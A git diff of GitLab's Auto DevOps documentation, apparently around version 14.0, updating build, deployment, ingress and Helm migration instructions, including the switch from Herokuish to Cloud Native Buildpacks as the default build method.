-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
into your project and edit it as needed.
## Customizing the Kubernetes namespace
@@ -241,7 +251,7 @@ include:
- template: Jobs/Build.gitlab-ci.yml
```
-See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs.
+See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs.
WARNING:
Auto DevOps templates using the [`only`](../../ci/yaml/README.md#only--except) or
@@ -255,6 +265,27 @@ base template is migrated to use the `rules` syntax.
For users who cannot migrate just yet, you can alternatively pin your templates to
the [GitLab 12.10 based templates](https://gitlab.com/gitlab-org/auto-devops-v12-10).
+## Use images hosted in a local Docker registry
+
+You can configure many Auto DevOps jobs to run in an [offline environment](../../user/application_security/offline_deployments/index.md):
+
+1. Copy the required Auto DevOps Docker images from Docker Hub and `registry.gitlab.com` to their local GitLab container registry.
+1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally-hosted images. For example:
+
+ ```yaml
+ include:
+ - template: Auto-DevOps.gitlab-ci.yml
+
+ variables:
+ REGISTRY_URL: "registry.gitlab.example"
+
+ build:
+ image: "$REGISTRY_URL/docker/auto-build-image:v0.6.0"
+ services:
+ - name: "$REGISTRY_URL/greg/docker/docker:20.10.6-dind"
+ command: ['--tls=false', '--host=tcp://0.0.0.0:2375']
+ ```
+
## PostgreSQL database support
To support applications requiring a database,
@@ -326,8 +357,8 @@ applications.
| `ADDITIONAL_HOSTS` | Fully qualified domain names specified as a comma-separated list that are added to the Ingress hosts. |
| `<ENVIRONMENT>_ADDITIONAL_HOSTS` | For a specific environment, the fully qualified domain names specified as a comma-separated list that are added to the Ingress hosts. This takes precedence over `ADDITIONAL_HOSTS`. |
| `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` |
-| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | When set to a non-empty value and no `Dockerfile` is present, Auto Build builds your application using Cloud Native Buildpacks instead of Herokuish. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). |
-| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). |
+| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | Set to `false` to use Herokuish instead of Cloud Native Buildpacks with Auto Build. [More details](stages.md#auto-build-using-cloud-native-buildpacks). |
+| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks). |
| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes doesn't prevent word splitting. [More details](#passing-arguments-to-docker-build). |
| `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI/CD variable names](#forward-cicd-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). |
| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). |
@@ -337,8 +368,7 @@ applications.
| `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD` | From GitLab 11.11, used to set a password to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME`. |
| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm outputs debug logs. |
| `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. For more information, see [Ignore warnings and continue deploying](upgrading_auto_deploy_dependencies.md#ignore-warnings-and-continue-deploying). |
-| `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. |
-| `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). |
+| `BUILDPACK_URL` | Buildpack's full URL. [Must point to a URL supported by Pack or Herokuish](#custom-buildpacks). |
| `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments). |
| `CANARY_PRODUCTION_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md) in the production environment. Takes precedence over `CANARY_REPLICAS`. Defaults to 1. |
| `CANARY_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md). Defaults to 1. |
@@ -411,7 +441,8 @@ The following table lists variables used to disable jobs.
| `license_scanning` | `LICENSE_MANAGEMENT_DISABLED` | [From GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. |
| `load_performance` | `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2 | If the variable is present, the job isn't created. |
| `nodejs-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
-| `performance` | `PERFORMANCE_DISABLED` | From GitLab 11.0 | Browser performance. If the variable is present, the job isn't created. |
+| `performance` | `PERFORMANCE_DISABLED` | GitLab 11.0 to GitLab 13.12 | Browser performance. If the variable is present, the job isn't created. Replaced by `browser_peformance`. |
+| `browser_performance` | `BROWSER_PERFORMANCE_DISABLED` | From GitLab 14.0 | Browser performance. If the variable is present, the job isn't created. Replaces `performance`. |
| `phpcs-security-audit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
| `pmd-apex-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
| `retire-js-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index 03454649c7e..f2ce61044ef 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -264,7 +264,7 @@ When using Auto DevOps, you can deploy different environments to
different Kubernetes clusters, due to the 1:1 connection
[existing between them](../../user/project/clusters/index.md#multiple-kubernetes-clusters).
-The [Deploy Job template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
+The [Deploy Job template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
used by Auto DevOps currently defines 3 environment names:
- `review/` (every environment starting with `review/`)
@@ -286,14 +286,14 @@ The following table is an example of how to configure the three different cluste
To add a different cluster for each environment:
-1. Navigate to your project's **Operations > Kubernetes**.
+1. Navigate to your project's **Infrastructure > Kubernetes clusters**.
1. Create the Kubernetes clusters with their respective environment scope, as
described from the table above.
-1. After creating the clusters, navigate to each cluster and install
- Ingress. Wait for the Ingress IP address to be assigned.
+1. After creating the clusters, navigate to each cluster and [install
+ Ingress](quick_start_guide.md#install-ingress). Wait for the Ingress IP address to be assigned.
1. Make sure you've [configured your DNS](#auto-devops-base-domain) with the
specified Auto DevOps domains.
-1. Navigate to each cluster's page, through **Operations > Kubernetes**,
+1. Navigate to each cluster's page, through **Infrastructure > Kubernetes clusters**,
and add the domain based on its Ingress IP address.
After completing configuration, you can test your setup by creating a merge request
diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md
index 631180f696c..448e9526b88 100644
--- a/doc/topics/autodevops/quick_start_guide.md
+++ b/doc/topics/autodevops/quick_start_guide.md
@@ -63,7 +63,8 @@ to deploy this project to.
## Create a Kubernetes cluster from within GitLab
1. On your project's landing page, click **Add Kubernetes cluster**
- (note that this option is also available when you navigate to **Operations > Kubernetes**).
+ (note that this option is also available when you navigate to
+ **Infrastructure > Kubernetes clusters**).
![Project landing page](img/guide_project_landing_page_v12_10.png)
@@ -106,7 +107,8 @@ status on your [GCP dashboard](https://console.cloud.google.com/kubernetes).
After your cluster is running, you must install NGINX Ingress Controller as a
load balancer, to route traffic from the internet to your application. Because
you've created a Google GKE cluster in this guide, you can install NGINX Ingress Controller
-with Google Cloud Shell:
+through the GitLab [Cluster management project template](../../user/clusters/management_project_template.md),
+or manually with Google Cloud Shell:
1. Go to your cluster's details page, and click the **Advanced Settings** tab.
1. Click the link to Google Kubernetes Engine to visit the cluster on Google Cloud Console.
@@ -114,21 +116,28 @@ with Google Cloud Shell:
1. After the Cloud Shell starts, run these commands to install NGINX Ingress Controller:
```shell
- helm repo add nginx-stable https://helm.nginx.com/stable
+ kubectl create ns gitlab-managed-apps
+ helm repo add stable https://charts.helm.sh/stable
helm repo update
- helm install nginx-ingress nginx-stable/nginx-ingress
+ helm install ingress stable/nginx-ingress -n gitlab-managed-apps
# Check that the ingress controller is installed successfully
- kubectl get service nginx-ingress-nginx-ingress
+ kubectl get service ingress-nginx-ingress-controller -n gitlab-managed-apps
```
-1. A few minutes after you install NGINX, the load balancer obtains an IP address, and you can
- get the external IP address with this command:
+## Configure your base domain
+
+Follow these steps to configure the Base Domain where your apps will be accessible.
+1. A few minutes after you install NGINX, the load balancer obtains an IP address, and you can
+ get the external IP address with the following command:
+
```shell
- kubectl get service nginx-ingress-nginx-ingress -ojson | jq -r '.status.loadBalancer.ingress[].ip'
+ kubectl get service ingress-nginx-ingress-controller -n gitlab-managed-apps -ojson | jq -r '.status.loadBalancer.ingress[].ip'
```
+ Replace `gitlab-managed-apps` if you have overwritten your namespace.
+
Copy this IP address, as you need it in the next step.
1. Go back to the cluster page on GitLab, and go to the **Details** tab.
@@ -186,7 +195,7 @@ The jobs are separated into stages:
- Jobs suffixed with `-sast` run static analysis on the current code to check for potential
security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast)) **(ULTIMATE)**
- The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection)) **(ULTIMATE)**
- - The `license_management` job searches the application's dependencies to determine each of their
+ - The `license_scanning` job searches the application's dependencies to determine each of their
licenses and is allowed to fail
([Auto License Compliance](stages.md#auto-license-compliance)) **(ULTIMATE)**
@@ -208,7 +217,7 @@ to monitor it.
After successfully deploying your application, you can view its website and check
on its health on the **Environments** page by navigating to
-**Operations > Environments**. This page displays details about
+**Deployments > Environments**. This page displays details about
the deployed applications, and the right-hand column displays icons that link
you to common environment tasks:
@@ -308,6 +317,5 @@ and customized to fit your workflow. Here are some helpful resources for further
1. [Multiple Kubernetes clusters](index.md#using-multiple-kubernetes-clusters)
1. [Incremental rollout to production](customize.md#incremental-rollout-to-production) **(PREMIUM)**
1. [Disable jobs you don't need with CI/CD variables](customize.md#cicd-variables)
-1. [Use a static IP for your cluster](../../user/clusters/applications.md#using-a-static-ip)
1. [Use your own buildpacks to build your application](customize.md#custom-buildpacks)
1. [Prometheus monitoring](../../user/project/integrations/prometheus.md)
diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md
index 8fb16511e34..7e59ecb4916 100644
--- a/doc/topics/autodevops/requirements.md
+++ b/doc/topics/autodevops/requirements.md
@@ -26,23 +26,26 @@ To make full use of Auto DevOps with Kubernetes, you need:
[new cluster using the GitLab UI](../../user/project/clusters/add_remove_clusters.md#create-new-cluster).
For Kubernetes 1.16+ clusters, you must perform additional configuration for
[Auto Deploy for Kubernetes 1.16+](stages.md#kubernetes-116).
- 1. NGINX Ingress. You can deploy it to your Kubernetes cluster by installing
- the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress),
- after configuring the GitLab integration with Kubernetes in the previous step.
-
- Alternatively, you can use the
- [`nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress)
- Helm chart to install Ingress manually.
+ 1. For external HTTP traffic, an Ingress controller is required. For regular
+ deployments, any Ingress controller should work, but as of GitLab 14.0,
+ [canary deployments](../../user/project/canary_deployments.md) require
+ NGINX Ingress. You can deploy the NGINX Ingress controller to your
+ Kubernetes cluster either through the GitLab [Cluster management project template](../../user/clusters/management_project_template.md)
+ or manually by using the [`ingress-nginx`](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx)
+ Helm chart.
NOTE:
- If you use your own Ingress instead of the one provided by GitLab Managed
- Apps, ensure you're running at least version 0.9.0 of NGINX Ingress and
- [enable Prometheus metrics](https://github.com/helm/charts/tree/master/stable/nginx-ingress#prometheus-metrics)
- for the response metrics to appear. You must also
+ For metrics to appear when using the [Prometheus cluster integration](../../user/clusters/integrations.md#prometheus-cluster-integration), you must [enable Prometheus metrics](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx#prometheus-metrics).
+
+ When deploying [using custom charts](customize.md#custom-helm-chart), you must also
[annotate](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/)
- the NGINX Ingress deployment to be scraped by Prometheus using
+ the Ingress manifest to be scraped by Prometheus using
`prometheus.io/scrape: "true"` and `prometheus.io/port: "10254"`.
+ NOTE:
+ If your cluster is installed on bare metal, see
+ [Auto DevOps Requirements for bare metal](#auto-devops-requirements-for-bare-metal).
+
- **Base domain** (for [Auto Review Apps](stages.md#auto-review-apps),
[Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring))
@@ -61,42 +64,34 @@ To make full use of Auto DevOps with Kubernetes, you need:
You can configure Docker-based runners to autoscale as well, using
[Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html).
- If you've configured the GitLab integration with Kubernetes in the first step, you
- can deploy it to your cluster by installing the
- [GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner).
-
- Runners should be registered as [shared runners](../../ci/runners/README.md#shared-runners)
- for the entire GitLab instance, or [specific runners](../../ci/runners/README.md#specific-runners)
- that are assigned to specific projects (the default if you've installed the
- GitLab Runner managed application).
+ Runners should be registered as [shared runners](../../ci/runners/runners_scope.md#shared-runners)
+ for the entire GitLab instance, or [specific runners](../../ci/runners/runners_scope.md#specific-runners)
+ that are assigned to specific projects.
- **Prometheus** (for [Auto Monitoring](stages.md#auto-monitoring))
To enable Auto Monitoring, you need Prometheus installed either inside or
outside your cluster, and configured to scrape your Kubernetes cluster.
- If you've configured the GitLab integration with Kubernetes, you can deploy it to
- your cluster by installing the
- [GitLab-managed app for Prometheus](../../user/clusters/applications.md#prometheus).
+ If you've configured the GitLab integration with Kubernetes, you can
+ instruct GitLab to query an in-cluster Prometheus by enabling
+ the [Prometheus cluster integration](../../user/clusters/integrations.md#prometheus-cluster-integration).
- The [Prometheus service](../../user/project/integrations/prometheus.md)
- integration must be enabled for the project, or enabled as a
- [default service template](../../user/project/integrations/services_templates.md)
- for the entire GitLab installation.
+ The [Prometheus integration](../../user/project/integrations/prometheus.md)
+ integration must be activated for the project, or activated at the group or instance level.
+ Learn more about [Project integration management](../../user/admin_area/settings/project_integration_management.md).
To get response metrics (in addition to system metrics), you must
[configure Prometheus to monitor NGINX](../../user/project/integrations/prometheus_library/nginx_ingress.md#configuring-nginx-ingress-monitoring).
- **cert-manager** (optional, for TLS/HTTPS)
- To enable HTTPS endpoints for your application, you must install cert-manager,
+ To enable HTTPS endpoints for your application, you can [install cert-manager](https://cert-manager.io/docs/installation/kubernetes/),
a native Kubernetes certificate management controller that helps with issuing
certificates. Installing cert-manager on your cluster issues a
[Let's Encrypt](https://letsencrypt.org/) certificate and ensures the
- certificates are valid and up-to-date. If you've configured the GitLab integration
- with Kubernetes, you can deploy it to your cluster by installing the
- [GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager).
+ certificates are valid and up-to-date.
-If you don't have Kubernetes or Prometheus installed, then
+If you don't have Kubernetes or Prometheus configured, then
[Auto Review Apps](stages.md#auto-review-apps),
[Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring)
are skipped.
@@ -124,9 +119,6 @@ When you trigger a pipeline, if you have Auto DevOps enabled and if you have cor
[entered AWS credentials as variables](../../ci/cloud_deployment/index.md#deploy-your-application-to-the-aws-elastic-container-service-ecs),
your application is deployed to AWS ECS.
-[GitLab Managed Apps](../../user/clusters/applications.md) are not available when deploying to AWS ECS.
-You must manually configure your application (such as Ingress or Help) on AWS ECS.
-
If you have both a valid `AUTO_DEVOPS_PLATFORM_TARGET` variable and a Kubernetes cluster tied to your project,
only the deployment to Kubernetes runs.
@@ -149,3 +141,18 @@ specific CI/CD variable.
For more details, see [Custom build job for Auto DevOps](../../ci/cloud_deployment/index.md#custom-build-job-for-auto-devops)
for deployments to AWS EC2.
+
+## Auto DevOps requirements for bare metal
+
+According to the [Kubernetes Ingress-NGINX docs](https://kubernetes.github.io/ingress-nginx/deploy/baremetal/):
+
+> In traditional cloud environments, where network load balancers are available on-demand,
+a single Kubernetes manifest suffices to provide a single point of contact to the NGINX Ingress
+controller to external clients and, indirectly, to any application running inside the cluster.
+Bare-metal environments lack this commodity, requiring a slightly different setup to offer the
+same kind of access to external consumers.
+
+The docs linked above explain the issue and present possible solutions, for example:
+
+- Through [MetalLB](https://github.com/metallb/metallb).
+- Through [PorterLB](https://github.com/kubesphere/porterlb).
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index 66b37f30bbc..d3f217d3749 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -33,15 +33,24 @@ your own `Dockerfile`, you must either:
- Override the default values by
[customizing the Auto Deploy Helm chart](customize.md#custom-helm-chart).
-### Auto Build using Heroku buildpacks
+### Auto Build using Cloud Native Buildpacks
+
+> - Introduced in [GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165).
+> - Auto Build using Cloud Native Buildpacks by default was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63351) in GitLab 14.0.
Auto Build builds an application using a project's `Dockerfile` if present. If no
-`Dockerfile` is present, it uses [Herokuish](https://github.com/gliderlabs/herokuish)
-and [Heroku buildpacks](https://devcenter.heroku.com/articles/buildpacks)
-to detect and build the application into a Docker image.
+`Dockerfile` is present, Auto Build builds your application using
+[Cloud Native Buildpacks](https://buildpacks.io) to detect and build the
+application into a Docker image. The feature uses the
+[`pack` command](https://github.com/buildpacks/pack).
+The default [builder](https://buildpacks.io/docs/concepts/components/builder/)
+is `heroku/buildpacks:18` but a different builder can be selected using
+the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`.
Each buildpack requires your project's repository to contain certain files for
-Auto Build to build your application successfully. For example, your application's
+Auto Build to build your application successfully. The structure is
+specific to the builder and buildpacks you have selected.
+For example, when using the Heroku's builder (the default), your application's
root directory must contain the appropriate file for your application's
language:
@@ -52,39 +61,38 @@ For the requirements of other languages and frameworks, read the
[Heroku buildpacks documentation](https://devcenter.heroku.com/articles/buildpacks#officially-supported-buildpacks).
NOTE:
-If Auto Build fails despite the project meeting the buildpack requirements, set
-a project CI/CD variable `TRACE=true` to enable verbose logging, which may help you
-troubleshoot.
+Auto Test still uses Herokuish, as test suite detection is not
+yet part of the Cloud Native Buildpack specification. For more information, see
+[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689).
-### Auto Build using Cloud Native Buildpacks (beta)
+### Auto Build using Herokuish
-> Introduced in [GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165).
+> [Replaced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63351) with Cloud Native Buildpacks in GitLab 14.0.
-Auto Build supports building your application using [Cloud Native Buildpacks](https://buildpacks.io)
-through the [`pack` command](https://github.com/buildpacks/pack). To use Cloud Native Buildpacks,
-set the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` to a non-empty
-value. The default builder is `heroku/buildpacks:18` but a different builder
-can be selected using the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`.
+Prior to GitLab 14.0, [Herokuish](https://github.com/gliderlabs/herokuish) was
+the default build method for projects without a `Dockerfile`. Herokuish can
+still be used by setting the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED`
+to `false`.
-Cloud Native Buildpacks (CNBs) are an evolution of Heroku buildpacks, and
-GitLab expects them to eventually supersede Herokuish-based builds within Auto DevOps. For more
-information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212692).
+NOTE:
+If Auto Build fails despite the project meeting the buildpack requirements, set
+a project CI/CD variable `TRACE=true` to enable verbose logging, which may help you
+troubleshoot.
+
+### Moving from Herokuish to Cloud Native Buildpacks
Builds using Cloud Native Buildpacks support the same options as builds using
-Heroku buildpacks, with the following caveats:
+Herokuish, with the following caveats:
- The buildpack must be a Cloud Native Buildpack. A Heroku buildpack can be
converted to a Cloud Native Buildpack using Heroku's
[`cnb-shim`](https://github.com/heroku/cnb-shim).
-- `BUILDPACK_URL` must be in a form
+- `BUILDPACK_URL` must be in a format
[supported by `pack`](https://buildpacks.io/docs/app-developer-guide/specific-buildpacks/).
-- The `/bin/herokuish` command is not present in the resulting image, and prefixing
+- The `/bin/herokuish` command is not present in the built image, and prefixing
commands with `/bin/herokuish procfile exec` is no longer required (nor possible).
-
-NOTE:
-Auto Test still uses Herokuish, as test suite detection is not
-yet part of the Cloud Native Buildpack specification. For more information, see
-[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689).
+ Instead, custom commands should be prefixed with `/cnb/lifecycle/launcher`
+ to receive the correct execution environment.
## Auto Test
@@ -208,9 +216,9 @@ documentation.
## Auto Container Scanning **(ULTIMATE)**
-Vulnerability Static Analysis for containers uses either [Clair](https://github.com/quay/clair)
-or [Trivy](https://aquasecurity.github.io/trivy/latest/) to check for potential security issues in
-Docker images. The Auto Container Scanning stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/).
+Vulnerability static analysis for containers uses [Trivy](https://aquasecurity.github.io/trivy/latest/)
+to check for potential security issues in Docker images. The Auto Container Scanning stage is
+skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/).
After creating the report, it's uploaded as an artifact which you can later download and
check out. The merge request displays any detected security issues.
@@ -349,7 +357,7 @@ project ID, such as `project-4321`.
Auto Deploy does not include deployments to staging or canary environments by
default, but the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
contains job definitions for these tasks if you want to enable them.
You can use [CI/CD variables](customize.md#cicd-variables) to automatically
@@ -461,15 +469,16 @@ If present, `DB_MIGRATE` is run as a shell command within an application pod as
a Helm pre-upgrade hook.
For example, in a Rails application in an image built with
-[Herokuish](https://github.com/gliderlabs/herokuish):
+[Cloud Native Buildpacks](#auto-build-using-cloud-native-buildpacks):
-- `DB_INITIALIZE` can be set to `RAILS_ENV=production /bin/herokuish procfile exec bin/rails db:setup`
-- `DB_MIGRATE` can be set to `RAILS_ENV=production /bin/herokuish procfile exec bin/rails db:migrate`
+- `DB_INITIALIZE` can be set to `RAILS_ENV=production /cnb/lifecycle/launcher bin/rails db:setup`
+- `DB_MIGRATE` can be set to `RAILS_ENV=production /cnb/lifecycle/launcher bin/rails db:migrate`
Unless your repository contains a `Dockerfile`, your image is built with
-Herokuish, and you must prefix commands run in these images with
-`/bin/herokuish procfile exec` (for Herokuish) or `/cnb/lifecycle/launcher`
-(for Cloud Native Buildpacks) to replicate the environment where your
+Cloud Native Buildpacks, and you must prefix commands run in these images with
+`/cnb/lifecycle/launcher`, (or `/bin/herokuish procfile exec` when
+using [Herokuish](#auto-build-using-herokuish))
+to replicate the environment where your
application runs.
### Upgrade auto-deploy-app Chart
@@ -508,14 +517,10 @@ workers:
sidekiq:
replicaCount: 1
command:
- - /bin/herokuish
- - procfile
- - exec
+ - /cnb/lifecycle/launcher
- sidekiq
preStopCommand:
- - /bin/herokuish
- - procfile
- - exec
+ - /cnb/lifecycle/launcher
- sidekiqctl
- quiet
terminationGracePeriodSeconds: 60
@@ -645,42 +650,6 @@ ciliumNetworkPolicy:
For more information on installing Network Policies, see
[Install Cilium using GitLab CI/CD](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd).
-### Web Application Firewall (ModSecurity) customization
-
-> [Introduced](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/merge_requests/44) in GitLab 12.8.
-
-Customization on an [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
-or on a deployment base is available for clusters with
-[ModSecurity installed](../../user/clusters/applications.md#web-application-firewall-modsecurity).
-
-To enable ModSecurity with Auto Deploy, you must create a `.gitlab/auto-deploy-values.yaml`
-file in your project with the following attributes.
-
-|Attribute | Description | Default |
------------|-------------|---------|
-|`enabled` | Enables custom configuration for ModSecurity, defaulting to the [Core Rule Set](https://coreruleset.org/) | `false` |
-|`secRuleEngine` | Configures the [rules engine](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#secruleengine) | `DetectionOnly` |
-|`secRules` | Creates one or more additional [rule](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRule) | `nil` |
-
-In the following `auto-deploy-values.yaml` example, some custom settings
-are enabled for ModSecurity. Those include setting its engine to
-process rules instead of only logging them, while adding two specific
-header-based rules:
-
-```yaml
-ingress:
- modSecurity:
- enabled: true
- secRuleEngine: "On"
- secRules:
- - variable: "REQUEST_HEADERS:User-Agent"
- operator: "printer"
- action: "log,deny,id:'2010',status:403,msg:'printer is an invalid agent'"
- - variable: "REQUEST_HEADERS:Content-Type"
- operator: "text/plain"
- action: "log,deny,id:'2011',status:403,msg:'Text is not supported as content type'"
-```
-
### Running commands in the container
Applications built with [Auto Build](#auto-build) using Herokuish, the default
@@ -723,11 +692,6 @@ The metrics include:
- **Response Metrics:** latency, throughput, error rate
- **System Metrics:** CPU utilization, memory utilization
-GitLab provides some initial alerts for you after you install Prometheus:
-
-- Ingress status code `500` > 0.1%
-- NGINX status code `500` > 0.1%
-
To use Auto Monitoring:
1. [Install and configure the Auto DevOps requirements](requirements.md).
diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
index 0dabb80204a..62dc061aba6 100644
--- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
+++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
@@ -100,9 +100,15 @@ If your Auto DevOps project has an active environment that was deployed with the
MIGRATE_HELM_2TO3: "true"
.auto-deploy:
- image: registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.0.0-beta.1
+ # Optional: If you are on GitLab 13.12 or older, pin the auto-deploy-image
+ # image: registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.6.0
variables:
AUTO_DEVOPS_FORCE_DEPLOY_V2: 1
+ # If you have non-public pipelines, you can back up the entire namespace in a job artifact
+ # prior to the migration by setting the CI variable BACKUP_NAMESPACE to a non-empty value.
+ # WARNING: If you have public pipelines, this artifact will be public and can
+ # expose your secrets.
+ # BACKUP_HELM2_RELEASES: 1
```
1. Run the `<environment-name>:helm-2to3:migrate` job.
@@ -110,10 +116,16 @@ If your Auto DevOps project has an active environment that was deployed with the
1. If the deployment succeeds, you can safely run `environment:helm-2to3:cleanup`.
This deletes all Helm 2 release data from the namespace.
- If you accidentally delete the Helm 2 releases before you are ready, the `<environment-name>:helm2to3:migrate`
+ If you set `BACKUP_HELM2_RELEASES` to a non-empty value, the `<environment-name>:helm2to3:migrate`
job saves a backup for 1 week in a job artifact called `helm-2-release-backups`.
- The backup is in a Kubernetes manifest file that can be restored using
+ If you accidentally delete the Helm 2 releases before you are ready, then
+ this backup is in a Kubernetes manifest file that can be restored using
`kubectl apply -f $backup`.
+
+ **WARNING:**
+ This artifact can contain secrets and is visible to any
+ user who can see your job.
+
1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable.
#### In-Cluster PostgreSQL Channel 2
@@ -164,6 +176,8 @@ include:
- remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.3.0-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
```
+Alternatively, you can use the [v13.12 Auto DevOps templates archive](https://gitlab.com/hfyngvason/auto-devops-v13-12).
+
### Ignore warnings and continue deploying
If you are certain that the new chart version is safe to be deployed, you can add
diff --git a/doc/topics/build_your_application.md b/doc/topics/build_your_application.md
new file mode 100644
index 00000000000..d084ecec435
--- /dev/null
+++ b/doc/topics/build_your_application.md
@@ -0,0 +1,16 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Build your application **(FREE)**
+
+Add your source code to a repository, create merge requests to check in
